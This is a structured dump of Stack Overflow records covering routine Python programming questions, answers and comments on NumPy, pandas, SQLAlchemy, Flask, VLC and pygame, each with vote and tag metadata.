has body: Here is one approach that is fast, but not 100% equivalent to your implementation. The difference is that in my implementation, at the boundary the chance of going in one of the directions parallel to the boundary is half that of the directions retreating from the boundary. That is arguably the better model if you think of the directions as being the result of binning continuous directions, because the boundary cuts the relevant bins in half. If you try it you'll find that it does 10 million steps more or less instantly. The trick is that we simply "unroll" space, so we can simulate an uncostrained random walk which is cheap and then in the end we fold it back to the bounding rectangle. # parameters &gt;&gt;&gt; directions = np.delete(np.indices((3, 3)).reshape(2, -1), 4, axis=1).T - 1 &gt;&gt;&gt; boundaries = np.array([(-50, 50), (-50, 50)]) &gt;&gt;&gt; start = np.array([0, 0])&gt;&gt;&gt; steps = 10**7 &gt;&gt;&gt; # "simulation" &gt;&gt;&gt; size = np.diff(boundaries, axis=1).ravel() &gt;&gt;&gt; &gt;&gt;&gt; trajectory = np.cumsum(directions[np.random.randint(0, 8, (steps,))], axis=0) &gt;&gt;&gt; trajectory = np.abs((trajectory + start - boundaries[:, 0] + size) % (2 * size) - size) + boundaries[:, 0] &gt;&gt;&gt; # some sanity checks # boundaries are respected &gt;&gt;&gt; print(trajectory.min(axis=0)) [-50 -50] &gt;&gt;&gt; print(trajectory.max(axis=0)) [50 50] # step size looks ok &gt;&gt;&gt; print(np.diff(trajectory, axis=0).min(axis=0)) [-1 -1] &gt;&gt;&gt; print(np.diff(trajectory, axis=0).max(axis=0)) [1 1] # histograms of time spent at coordinates looks flat &gt;&gt;&gt; print(np.bincount(trajectory[:, 0] - boundaries[0, 0])) [ 50276 100134 100395 100969 101218 101388 101708 100688 101460 102667 103613 103652 103540 103296 102676 102105 102766 102855 101786 101246 101442 101152 101020 100498 100637 100588 100100 99745 100034 99878 99120 98076 98193 98126 97715 98317 98343 97693 97391 96854 96576 96906 96423 96445 96779 96672 96376 95747 95732 95881 9…
upvote count: 1
answers question: http://stackoverflow.com/q/48777345
downvote count: 0
has comment: http://stackoverflow.com/comment/130689511
type: Answer
score: 1

http://stackoverflow.com/a/48692628
has body: Just catch the failing time stamps: for ci in range(len(position.keys())-1): try: lat1 = position[lst_time[ci]][0][0] lon1 = position[lst_time[ci]][0][1] lat2 = position[lst_time[ci+1]][0][0] lon2 = position[lst_time[ci+1]][0][1] vmtemp = (((haversine(lon1, lat1, lon2, lat2))*1000)/60) #function to estimate speed tpl_vel = (dt.strptime(lst_time[ci+1],'%H:%M'), vmtemp) lst_vel2.append(tpl_vel) except IndexError: print("-I- Time",lst_time[ci],"or",lst_time[ci+1],"does not exist") Some positions have no tuple (or anything), so accessing an item there (that first [0]) is out of bounds. It seems odd you're iterating a dictionary in this way though - it kind of defeats the purpose.
has comment: http://stackoverflow.com/comment/84384810
has comment: http://stackoverflow.com/comment/84384765
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48692220
accepted answer of: http://stackoverflow.com/q/48692220
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/a/48700184
has comment: http://stackoverflow.com/comment/84398920
answers question: http://stackoverflow.com/q/48699768
has body: In [23]: date = "180208" In [24]: ls 180208_001/ 180208_002/ 180209_003/ In [25]: numbers = [int(str(dir_name).split("_")[1]) for dir_name in current_path.iterdir() if current_path.is_dir()] In [26]: max_number = max(numbers) In [27]: new_name = "180208_{}".format(str(max_number + 1).zfill(3)) In [28]: new_name Out[28]: '180208_004' First get all dirs, and then split to find the max number, then create a new name by max number plus one.
score: 0
type: Answer

http://stackoverflow.com/comment/84303050
has text: You're actually better off not using a list and passing an explicit string here, btw. The point of passing a list is that you have an argv that's going to be parsed exactly as given, but when you join it with spaces, you completely throw away that benefit -- so this code **looks** like it has safety features in scenarios where it doesn't, at all.
type: Comment
comment on: http://stackoverflow.com/q/48649988
type: QuestionComment
score: 0

http://stackoverflow.com/comment/84324088
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48662561
type: AnswerComment
has text: @errantlinguist That is funny; you are answering my attempt to help here by blantly offending me; yet judging from the fact that you asked the user who answered this question for his input data you even acknowlege yourself that it indeed depends on the input data. Not sure how I would call people that expect something from others that they are themselves not willing to provide, but you gave some options three comments above.

http://stackoverflow.com/a/48657207
answers question: http://stackoverflow.com/q/48657050
upvote count: 1
type: Answer
downvote count: 0
score: 1
has body: import datetime project.end_date = datetime.datetime.strptime(request.GET.get('new_date'), '%m/%d/%Y').strftime('%Y-%m-%d')

http://stackoverflow.com/a/48732949
has comment: http://stackoverflow.com/comment/84468432
type: Answer
score: 2
has body: Edit: this will not work. Look at Salvador's answer. Uninstall tensorflow !pip uninstall tensorflow -y install tensorflow-gpu !pip install tensorflow-gpu==1.5.0
answers question: http://stackoverflow.com/q/48731124
downvote count: 1
upvote count: 3

http://stackoverflow.com/comment/84590966
has text: @Matt I would expect an error if they are not exclusive. Updated my question to clarify.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48794268

http://stackoverflow.com/comment/84420642
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48709814
has text: No we do not have to check many numbers. Take that next one for example: 5833: 5+8+3+3 = 19. 19^2 = 361. 19^3 = 6859. Done already because 6859 > 5833. I would guess even a brute force algorithm would take less than a second to find the next one that is valid.

http://stackoverflow.com/comment/84298079
type: Comment
has text: @HenryM But if I want overwrite file?
score: 0
comment on: http://stackoverflow.com/q/48650121
type: QuestionComment

http://stackoverflow.com/a/48741281
score: 1
has comment: http://stackoverflow.com/comment/84514586
upvote count: 1
has comment: http://stackoverflow.com/comment/84514591
has comment: http://stackoverflow.com/comment/84515476
has comment: http://stackoverflow.com/comment/84513878
downvote count: 0
has comment: http://stackoverflow.com/comment/84513749
has body: If you can use pandas, it is VERY good at this sort of thing. Code: If you already have a dataframe, you can simply do: # build a logical condition have_dog = df['animal_label'] == 'dog' # select the data when that condition is true print(df[have_dog]) Test Code: import pandas as pd import numpy as np animal_label = ['cat', 'cat', 'dog', 'dog', 'dog', 'fish', 'fish', 'giraffe'] data = [0.3, 0.1, 0.9, 0.5, 0.4, 0.3, 0.2, 0.8] data = [np.array((x,) * 3) for x in data] df = pd.DataFrame(dict(animal_label=animal_label, data=data)) print(df) have_dog = df['animal_label'] == 'dog' print(df[have_dog]) Results: animal_label data 0 cat [0.3, 0.3, 0.3] 1 cat [0.1, 0.1, 0.1] 2 dog [0.9, 0.9, 0.9] 3 dog [0.5, 0.5, 0.5] 4 dog [0.4, 0.4, 0.4] 5 fish [0.3, 0.3, 0.3] 6 fish [0.2, 0.2, 0.2] 7 giraffe [0.8, 0.8, 0.8] animal_label data 2 dog [0.9, 0.9, 0.9] 3 dog [0.5, 0.5, 0.5] 4 dog [0.4, 0.4, 0.4]
answers question: http://stackoverflow.com/q/48740088
type: Answer

http://stackoverflow.com/comment/84437630
has text: From what I can gather, you are trying to create dynamic variables. Don't do that. Use a *list* or any other container. Anyway, if your list version works, then `constructor = self.initialize(**self.kwargs)` *does* create a new object, you just always assign it to the same variable in the loop and each iteration the old one gets garbage collected...
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48718835

http://stackoverflow.com/comment/84368257
type: QuestionComment
has text: Hi Luis, welcome to SO - could you please provide a code sample to show what exactly you are trying. Furthermore some information about your environment (which python version and which library you are using) would be helpful.
score: 0
comment on: http://stackoverflow.com/q/48684568
type: Comment

theano
tags question: http://stackoverflow.com/q/48723155
tags question: http://stackoverflow.com/q/48673863
tags question: http://stackoverflow.com/q/48709478
tag name: theano
type: Tag

http://stackoverflow.com/a/48794777
type: Answer
score: 0
has body: This works. Note my dictionary keys are names, because that seemed most logical. # get set of names names = set(df.name.str.replace('\d+', '')) # make dictionary dfs = {n: df[df.name.str.replace('\d+', '') == n] for n in names} # {'jake': name value # 3 jake2 ghi # 4 jake jkl, # 'bob': name value # 1 bob1 abc # 2 bob3 def # 6 bob5 pqr, # 'sam': name value # 5 sam1 mno}
answers question: http://stackoverflow.com/q/48794671

http://stackoverflow.com/comment/84609292
has text: @user2978216 What you have is the answer IMHO.
comment on: http://stackoverflow.com/q/48785940
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84509752
has text: FWIW, we don't often use static methods in Python.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48754509
score: 0

http://stackoverflow.com/a/50369151
accepted answer of: http://stackoverflow.com/q/48767005
downvote count: 0
answers question: http://stackoverflow.com/q/48767005
type: AcceptedAnswer
has body: In order to create a real custom interactive gui, I would advice you to get familier with a framwork such as mentioned here: https://wiki.python.org/moin/GuiProgramming But in order to answer the specific question, Gooey has some little disadvantages, which make it difficult to span a new Gooey window from within the original window (I will not get into detail here), but what you can do is, spawn a new window as a subprocess. Minimal example below: import sys import os from argparse import ArgumentParser from subprocess import Popen, PIPE from gooey import Gooey from gooey import GooeyParser @Gooey() def main(): parser = GooeyParser( description='''Test''') required = parser.add_argument_group('Optional arguments') parser.add_argument( '-i', '--input', required=False, dest = 'input', help='Test_file', widget='FileChooser', ) args = parser.parse_args() ######################################## # call the next gooey as subprocess from here # should work on any system ######################################## PYTHON_PATH = sys.executable process = Popen([PYTHON_PATH, 'spawn_next.py'], stdout=PIPE, stderr=PIPE) output, error = process.communicate() print(output) print(error) if __name__ == "__main__": main() Then you can call the file spawn_next.py, in which you can open another Goopy window like: from gooey import Gooey from gooey import GooeyParser @Gooey() def main(): parser = GooeyParser( description='''Test''') required = parser.add_argument_group('Optional arguments') parser.add_argument( '-i', '--input', required=False, dest = 'input', help='Test_file', widget='FileChooser', ) args = parser.parse_args() main()
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/a/48717632
answers question: http://stackoverflow.com/q/48717604
accepted answer of: http://stackoverflow.com/q/48717604
type: Answer
has body: At the time the line place = test.place is executed, the place attribute on your Player instance has not been defined. The first time the place attribute gets set is in the move() method. i.e. Attempting to access place before calling move() will result in the error you are observing. You should assign a default value to self.place in the initializer for the Player class.
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/84416904
type: QuestionComment
has text: You mean `var`? Why do you expect it to update more than once?
comment on: http://stackoverflow.com/q/48708596
score: 1
type: Comment

http://stackoverflow.com/comment/84546064
type: AnswerComment
score: 0
type: Comment
has text: @ this is really smart way to do it. Thanks!
comment on: http://stackoverflow.com/a/48770447

http://stackoverflow.com/comment/84465534
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48733222
has text: http://pandas.pydata.org/pandas-docs/stable/cookbook.html#idioms
type: Comment

http://stackoverflow.com/comment/84586049
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48790099
has text: Your argument is invalid. And why not to use? Because in this case it's more typing than plain `%` with no outcome difference.

http://stackoverflow.com/a/48779674
has comment: http://stackoverflow.com/comment/84561630
has comment: http://stackoverflow.com/comment/84562454
has comment: http://stackoverflow.com/comment/84561436
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84562179
upvote count: 2
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/48779575
has body: You can use the statuses_lookup (tweepy docs, twitter docs) instead, and pass up to 100 ids per call. The limit with using this method is 300 requests according to the rate limits page. That is, you could get 300x100=30000 tweets before reaching the window limit and having to wait for 15 minutes. Your 2300 ids would be collected really quick. Hope it helps UPDATE to answer comment: From the Twitter docs: If a requested Tweet is unknown or deleted, then that Tweet will not be returned in the results list, unless the map parameter is set to true, in which case it will be returned with a value of null. So you won't really get an error, but you may not get the tweet. So you would want to compare the returned results against your ID list to see which tweet was not returned.
answers question: http://stackoverflow.com/q/48779575
has comment: http://stackoverflow.com/comment/84562396
has comment: http://stackoverflow.com/comment/84562247

http://stackoverflow.com/q/48801737
has body: I don't understand what is wrong with my syntax. its a program to get a long number. code: int_num=input('enter digits') long_num='' While int_num.isdigit()== True: long_num= long_num+int_num int_num=input('enter digits') print('long',long_num) error: File "&lt;ipython-input-1-c68f222d7f2f&gt;", line 4 While int_num.isdigit()== True: ^ SyntaxError: invalid syntax thanks.
favorite count: 0
has comment: http://stackoverflow.com/comment/84606346
tagged with: python
type: AnsweredQuestion
upvote count: 0
has title: how do i get rid of the error in my python 3.0 program?
type: Question
has answer: http://stackoverflow.com/a/48801945
accepted answer: http://stackoverflow.com/a/48801945
score: -2
has comment: http://stackoverflow.com/comment/84606056
downvote count: 2
answer count: 1

http://stackoverflow.com/comment/84329778
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48664800
type: Comment
has text: Thank you Chiel :). This works perfectly for 1d array and also very intuitive. How can I do the same with 2d array where we sort in axis=1?

http://stackoverflow.com/a/48739972
has body: If you wish to get AM you need a time to start that is between 00:00 and 11:59 as in the 24 hour clock you are PM after 12:00. The other problem is that you are converting a time to a string in a format that has 2 of each hour in there and then comparing the string to determine what to print. Try comparing times, which can be generated with the constructor rather than strptime. from __future__ import print_function import datetime in_time = dateteime.time(11, 15) # Time in H:M 11:15 AM if in_time &lt; datetime.time(12): # Before Noon goodbit = "morning" elif in_time &lt; datetime.time(16): # Before 4 PM (we already know &gt; 12:00) goodbit = "afternoon" else: # (After 16:00) goodbit = "evening" print("{} Good {}".format(in_time.strftime("%I:%M:%S %p"), goodbit)
type: Answer
answers question: http://stackoverflow.com/q/48739840
accepted answer of: http://stackoverflow.com/q/48739840
score: 0
type: AcceptedAnswer

http://stackoverflow.com/a/48753803
downvote count: 0
score: 1
has body: from the documentation, python-rq Configuration Can you try by making the below changes: manager.py import redis """Initializes a slim rq task queue.""" listen = ['default'] conn = redis.Redis(host=app.config['RQ_DEFAULT_HOST'], port=app.config['RQ_DEFAULT_PORT'], db=0, password=app.config['RQ_DEFAULT_PASSWORD']) @manager.command def run_worker(): with Connection(conn): worker = Worker(map(Queue, listen)) worker.work() and from view: from rq import Queue from manage import conn q = Queue(connection=conn)
answers question: http://stackoverflow.com/q/48750515
accepted answer of: http://stackoverflow.com/q/48750515
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84542554
type: Answer

http://stackoverflow.com/comment/84413480
type: QuestionComment
has text: try `0.2.as_integer_ratio()`, I think this is the relevant part from the docs, but it's rather brief: "Beware that Fraction.from_float(0.3) is not the same value as Fraction(3, 10)" https://docs.python.org/3.1/library/fractions.html#fractions.Fraction.from_float
score: 1
comment on: http://stackoverflow.com/q/48707089
type: Comment

http://stackoverflow.com/q/48723736
tagged with: python
duplicate of: http://stackoverflow.com/q/3206344
favorite count: 0
has comment: http://stackoverflow.com/comment/84446321
has body: I am trying to send to my HTML template page some variables (to embed a plotly graph into a page). One of them will be the content a script tag and contains quotes. Once passed to the HTML pages these quotes are replaced by &#34 and the content doesn't display... Here is the string variable that I want to give to my template : script = window.PLOTLYENV=window.PLOTLYENV || {};window.PLOTLYENV.BASE_URL="https://plot.ly";Plotly.newPlot("abc0c362-7c6c-4b4e-b33f-62d174cf17a1", [{"type": "scatter", "x": [0, 1, 2, 3, 4], "y": [0, 1, 4, 9, 16]}], {}, {"showLink": true, "linkText": "Export to plot.ly"}) How I send data to my HTML template: return render_template("image_display.html",Title="The Graph",div_id=id,script=script) And the body of the HTML : {{Title}} And the result : Does anyone have a suggestion? Thanks a lot!
answer count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/3206344
score: 1
type: Question
upvote count: 1
downvote count: 0
tagged with: flask
has title: How to manage quotes sent to HTML page from Flask?
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/48725719
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/84450510
linked to: http://stackoverflow.com/q/10377998
has answer: http://stackoverflow.com/a/48725800
has comment: http://stackoverflow.com/comment/84450523
has comment: http://stackoverflow.com/comment/84450490
has answer: http://stackoverflow.com/a/48725917
type: Question
has comment: http://stackoverflow.com/comment/84450511
score: -2
tagged with: cat
possible better answer: http://stackoverflow.com/a/48725917
has body: I want to cat txt files from a folder and cat results should be shown in terminal (Obviously). I have tried using listdir() it but it doesn't work. Required some help!
tagged with: python-2.7
answer count: 2
downvote count: 2
has title: How can i cat all txt files to terminal using python?
favorite count: 0
has comment: http://stackoverflow.com/comment/84450529
has comment: http://stackoverflow.com/comment/84450528
tagged with: python
accepted answer: http://stackoverflow.com/a/48725800

http://stackoverflow.com/comment/84294085
type: Comment
comment on: http://stackoverflow.com/q/48647567
has text: Please provide a [mcve] as opposed to sections of an actual code.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84307206
has text: Python 1.4 introduced the third ("step" / "stride") element of slice notation.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48654530

http://stackoverflow.com/a/48794821
type: AcceptedAnswer
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/84592277
has body: You're not telling scatter() how the points should look like, so it's no wonder you don't get a different result for each of your cases. What you want to do instead is plot ALL the points with condition "malicious" in one call and specify which kind of marker/color to use, then a second call for the condition non-malicious specifying a separate marker. Something like this: df = pd.io.sql.read_sql('SELECT Date_scanned, IP, Detections FROM URLs', con=conn) df['Date_scanned']=df['Date_scanned'].str.split(" ").str[0] plt.scatter(df.loc[df.Detections&gt;0,'Date_scanned'], df.loc[df.Detections&gt;0,'IP'], marker='o', color='red', label="YES") plt.scatter(df.loc[df.Detections≤0,'Date_scanned'], df.loc[df.Detections≤0,'IP'], marker='x', color='blue', label="NO") plt.legend(loc='best') plt.show()
score: 1
answers question: http://stackoverflow.com/q/48794101
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48794101

http://stackoverflow.com/q/48693687
has body: This is simple python script : when password contains "@" request failed with error ip = "XX.XX.XX.XX" username='admin' password = "kdsjkj@dfdsa" headers = {"content-type": "application/json", "accept": "application/json"} params = {} params["username"] = username params["password"] = password baseurl = "https://ip:port/storagemgr/rest" r = requests.post(baseurl,params=params, headers=headers, verify=False) output : description:An error occurs to the parameter suggestion:Enter a correct parameter Same things works properly on curl command curl -k -H "Content-Type: application/json" -X POST -d '{"username":"admin","password":"x@xxx"}' https://xx.xx.xx.xx:/storagemgr/rest Can you kindly suggest any solution. i have tried with proxy it is not working.
score: 0
answer count: 1
favorite count: 0
has title: Request fails to authenticate when password contains '@'
has comment: http://stackoverflow.com/comment/84431734
has comment: http://stackoverflow.com/comment/84431776
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84385998
has comment: http://stackoverflow.com/comment/84431660
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48721756
has comment: http://stackoverflow.com/comment/84431961
tagged with: python-requests
has comment: http://stackoverflow.com/comment/84385957
downvote count: 1
has comment: http://stackoverflow.com/comment/84385893
type: Question

http://stackoverflow.com/comment/84310244
score: 0
type: Comment
has text: I think that's exactly what I mean
type: AnswerComment
comment on: http://stackoverflow.com/a/48656214

http://stackoverflow.com/comment/84389069
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48695121
has text: In the `build` method you must return the instance of your root widget: `return Principale()`

http://stackoverflow.com/q/48792218
has answer: http://stackoverflow.com/a/50789743
tagged with: python
type: AnsweredQuestion
tagged with: live-streaming
has title: Saving audio from livestream using VLC library
accepted answer: http://stackoverflow.com/a/50789743
tagged with: vlc
type: Question
tagged with: ubuntu-16.04
possible better answer: http://stackoverflow.com/a/49175399
has comment: http://stackoverflow.com/comment/84706541
has answer: http://stackoverflow.com/a/49175399
has body: I am trying to save audio clips (15 seconds per clip) from live stream using VLC library. I am unable to find any option that could allow me to record only 15 seconds from the live stream. Thus I ended up using timer in my code, but the recording clips sometimes contain 10 seconds, sometimes 20 seconds (rarely 15 seconds). Also, sometimes the audio content is repeated in the clips. Here is the code (I am a newbie so please guide me) Code.py import os import sys import vlc import time clipNumber = sys.argv[1] filepath = 'http://streamer64.eboundservices.com/geo/geonews_abr/playlist.m3u8' movie = os.path.expanduser(filepath) if 'http://' not in filepath: if not os.access(movie, os.R_OK): print ( 'Error: %s file is not readable' % movie ) sys.exit(1) filename_and_command = "--sout=#transcode{vcodec=none,acodec=mp3,ab=320,channels=2,samplerate=44100}:file{dst=clip" + str(clipNumber) + ".mp3}" # filename_and_command = "--sout=file/ts:clip" + str(clipNumber) + ".mp3" instance = vlc.Instance(filename_and_command) try: media = instance.media_new(movie) except NameError: print ('NameError: % (%s vs Libvlc %s)' % (sys.exc_info()[1], vlc.__version__, vlc.libvlc_get_version())) sys.exit(1) player = instance.media_player_new() player.set_media(media) player.play() time.sleep(15) exit() Now that I want to record 1 minute of the live-stream, I invoke this python code from the bash script 4 times and it creates 4 audio clips (clip1.mp3, clip2.mp3, clip3.mp3 and clip4.mp3) Script.sh for ((i=1; i&lt;=4; i++)) do printf "Recording stream #%d\n", "$i" python code.py "$i" printf "Finished stream #%d\n", "$i" done Is there anyway to just loop the code with Python instead of invoking again and again with bash script (I tried to put the code in the loop in python, but the first clip - clip1 - keeps recording and never finishes recording). And a way to specify that I could only record 15 seconds from the live-stream instead of using time.sleep(15)
score: 0
has comment: http://stackoverflow.com/comment/85228986
answer count: 2

http://stackoverflow.com/comment/94229040
type: QuestionComment
has text: Could you please find any solution to that using the namespaces?
comment on: http://stackoverflow.com/q/48799184
score: 0
type: Comment

http://stackoverflow.com/a/48770439
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48769993
accepted answer of: http://stackoverflow.com/q/48769993
type: Answer
upvote count: 3
score: 3
has body: Found the solution. I needed to specify the sound card to use and I did so by changing the line os.system('play -n -c1 synth 3 sine 500') into this os.system("AUDIODRIVER=alsa AUDIODEV=hw:1,0 play -n -c1 synth 3 sine 500") where the AUDIODEV=hw:1,0 is the number of my sound card derived from aplay -l

http://stackoverflow.com/comment/85041085
has text: Do you reach sequential IO-Speed of your storage device? If not the solution isn't optimal.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48997927

http://stackoverflow.com/comment/84485363
comment on: http://stackoverflow.com/a/48666890
score: 0
type: AnswerComment
type: Comment
has text: @ARCAON sorry, I misjudged the depth. It should be the same as in your original example, under train_config.

http://stackoverflow.com/comment/84372309
comment on: http://stackoverflow.com/q/48686753
has text: @SungJinSteveYoo probably because `cmp` does not exist in modern python.
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/q/48660492
possible better answer: http://stackoverflow.com/a/48660683
has answer: http://stackoverflow.com/a/48660683
has comment: http://stackoverflow.com/comment/84318854
has title: Merging 2 dictionaries in python
has comment: http://stackoverflow.com/comment/84318393
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/48661467
has answer: http://stackoverflow.com/a/48660764
has comment: http://stackoverflow.com/comment/84318504
downvote count: 0
has comment: http://stackoverflow.com/comment/84318486
favorite count: 0
type: Question
answer count: 3
has comment: http://stackoverflow.com/comment/84318641
tagged with: python
tagged with: dictionary
has body: I have two dictionary: a= { "2001935072": { "WR": "48.9", "nickname": "rogs30541", "team": 2 }, .... } and b= { "2001935072": { "wtr": 816 }, .... } i've tried to merge them with both a.update(b) and a={**a, **b} but both gives this output when i print(a): { "2001935072": { "wtr": 816 }, .... } which is basicly a=b, how to merge A and B so the output is { "2001935072": { "WR": "48.9", "nickname": "rogs30541", "team": 2 "wtr": 816 }, .... }
has comment: http://stackoverflow.com/comment/84318573
linked to: http://stackoverflow.com/q/38987
upvote count: 2
accepted answer: http://stackoverflow.com/a/48660764

http://stackoverflow.com/q/48713957
downvote count: 0
has comment: http://stackoverflow.com/comment/84443384
favorite count: 0
has comment: http://stackoverflow.com/comment/84431040
has comment: http://stackoverflow.com/comment/84435444
tagged with: python
has comment: http://stackoverflow.com/comment/84430288
answer count: 0
linked to: http://stackoverflow.com/q/36723206
type: UnansweredQuestion
tagged with: cython
score: 1
type: Question
has comment: http://stackoverflow.com/comment/84428416
has body: $ cythonize -a -i hello.pyx running build_ext building 'hello' extension ... Now I have a hello.so file, as well as the other ones (hello.pyx, hello.c) When I then try to import the function: $ python Python 3.5.3 |Continuum Analytics, Inc.| (default, Mar 6 2017, 11:58:13) [GCC 4.4.7 20120313 (Red Hat 4.4.7-1)] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import hello Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ImportError: dynamic module does not define module export function (PyInit_hello) &gt;&gt;&gt; I know this has been asked before (link below), but it seems the solution was to run python3, which I am doing already, so I don't know how to fix my problem Cython Compilation Error: dynamic module does not define module export function I should add the cythonize version I am using: $ cython --version Cython version 0.24
has title: cythonize dynamic module does not define module export function
upvote count: 1
tagged with: cythonize

http://stackoverflow.com/comment/84430394
comment on: http://stackoverflow.com/q/48715552
score: 0
type: QuestionComment
type: Comment
has text: Evaluation order : http://www.informit.com/articles/article.aspx?p=459269&seqNum=11

http://stackoverflow.com/comment/84390569
type: QuestionComment
comment on: http://stackoverflow.com/q/48695791
score: 1
has text: n % x returns a number. Try `bool(6)` and `bool(0)` in the Python shell
type: Comment

http://stackoverflow.com/a/48759739
has body: The issue is with your j loop : for j in range(i, len(grid)): as i increases it will decrease the row by one every time. As suggested by Lafexlos, you should use this instead to get the desired output : range(len(grid)) which will keep your row size in tacked.
downvote count: 0
answers question: http://stackoverflow.com/q/48759567
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/q/48755293
has body: import pygame, sys pygame.init() display_width = 800 display_height = 500 white = (255, 255, 255) display = pygame.display.set_mode((display_width, display_height)) pygame.display.set_caption('Pong') clock = pygame.time.Clock() platform_y = display_height * 0.38 def platform(color, x, y): global platform_y pygame.draw.rect(display, color, (x, y, 25, 100)) pygame.display.update() clock.tick(80) def ball(): pygame.draw.circle(display, white, (400, 250), 12) pygame.display.update() def game(): global platform_y y_change = 0 while True: platform(white, 100, platform_y) platform(white, 675, platform_y) ball() for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit(0) elif event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE: sys.exit(0) if event.type == pygame.KEYDOWN: if event.key == pygame.K_UP: y_change -= 2 if event.key == pygame.K_DOWN: y_change += 2 if event.type == pygame.KEYUP: if event.key == pygame.K_UP or event.key == pygame.K_DOWN: y_change = 0 platform_y += y_change pygame.display.update() clock.tick(80) if __name__ == '__main__': game() I guess it's not the best code but I've been messing around with pygame and got to the point when I have to create Pong, although I'm not sure why the rectangles (platforms) are just getting higher instead of going up and down (I know that both platforms will rise together, will fix that, this is just for test)
downvote count: 0
tagged with: pygame
has answer: http://stackoverflow.com/a/48755425
accepted answer: http://stackoverflow.com/a/48755425
favorite count: 0
upvote count: 2
tagged with: pygame-clock
tagged with: python
tagged with: 2d-games
score: 2
type: AnsweredQuestion
type: Question
answer count: 1
has title: Unable to properly refresh display in Pong game

http://stackoverflow.com/comment/84624152
has text: So @cup , I've printed sR before the function and in it, and both values are 0. sR on entry 0 sR after call 0
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48769793

http://stackoverflow.com/q/48766720
has title: Unable to create tables in the postgresql sqlalchemy
accepted answer: http://stackoverflow.com/a/48796496
answer count: 1
tagged with: postgresql
tagged with: python
type: AnsweredQuestion
tagged with: orm
tagged with: mysql
tagged with: sqlalchemy
type: Question
has body: I am trying to create a few tables in sqlalchemy database using Python. The tables are not getting created in the database and I can't find anything in the logging information. Model.py from sqlalchemy.ext.declarative import declarative_base Model = declarative_base() Department.py [I have more models and all of them imports the Model.py, but I can't see any of these tables in my database] from sqlalchemy import Column, Integer, String from models.Model import Model class Department(Model): __tablename__ = "department" oid = Column('oid', Integer, primary_key=True) name = Column('name', String, unique=True) data_service_provider.py This class creates the engine. I am calling this class from the below script. from models.InitDB import init_database from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from models.Model import Model import logging class DataProviderService(): def __init__(self, engine): logging.basicConfig() logging.getLogger('sqlalchemy.engine').setLevel(logging.DEBUG) if not engine: raise ValueError('The values specified in engine is not supported') self.engine = engine db_engine = create_engine(engine, echo=True) Model.metadata.create_all(db_engine) middleware.py from sqlalchemy.engine.url import URL from config import settings from data_provider_service import DataProviderService db_engine = URL(**settings.DATABASE); DATA_PROVIDER = DataProviderService(db_engine) Settings.py DATABASE = { 'drivername': 'postgresql', 'host': 'localhost', 'port': '5432', 'username': 'postgres', 'password': 'punitjain', 'database': 'csuf' } So basically Model.py is the base class which gets imported by all my model classes. In the data_service_provider.py I am creating the database engine and creating the tables. The middleware.py scripts make the database URL from Settings.py and call the DataProviderService. I am trying for last few hours but the tables are not getting created. I can't find any useful information in the debug logs. Following a…
has answer: http://stackoverflow.com/a/48796496
score: 0

http://stackoverflow.com/comment/84588457
score: 1
type: QuestionComment
has text: when i test using local runner, i usually add some `LIMIT 500` to the sql query. not glorious but it helps!
type: Comment
comment on: http://stackoverflow.com/q/48775215

http://stackoverflow.com/comment/84377755
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48689590
has text: I changed the answer, please see above.
type: AnswerComment

http://stackoverflow.com/q/48796330
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: python
tagged with: facebook-chatbot
has body: What would be a good way to generation questions that a user has to answer in tensor flow??? for example, the system would ask the user a questions: 1. Is it large and then take a users yes/no response: Yes account for all answers given and then predict what it is. (think 20 questions) prediction: Is it a cat? I am using an LSTM and attempting to get this going. so, what would be a good method for: generating enough training data for this? (number of played iterations?) generating the questions? handing the user responses? I feel like the accuracy will come. Just trying to get the behaviour down. I think the problem I'm having is not really understanding the behaviour properly. it's annoying. I need to work out how to generate the actual questions, and then take the users response to generate the next question. looking at this, I need to create a model that gets passed into my LSTMCell and then generates the questions based on that. Any advice would be good here. Cheers, Glenn
has answer: http://stackoverflow.com/a/48796433
has title: Tensorflow chatbot Questions Generation
downvote count: 1
tagged with: tensorflow
type: Question
score: -1
tagged with: chatbot
upvote count: 0

http://stackoverflow.com/comment/93204497
score: 0
type: Comment
type: AnswerComment
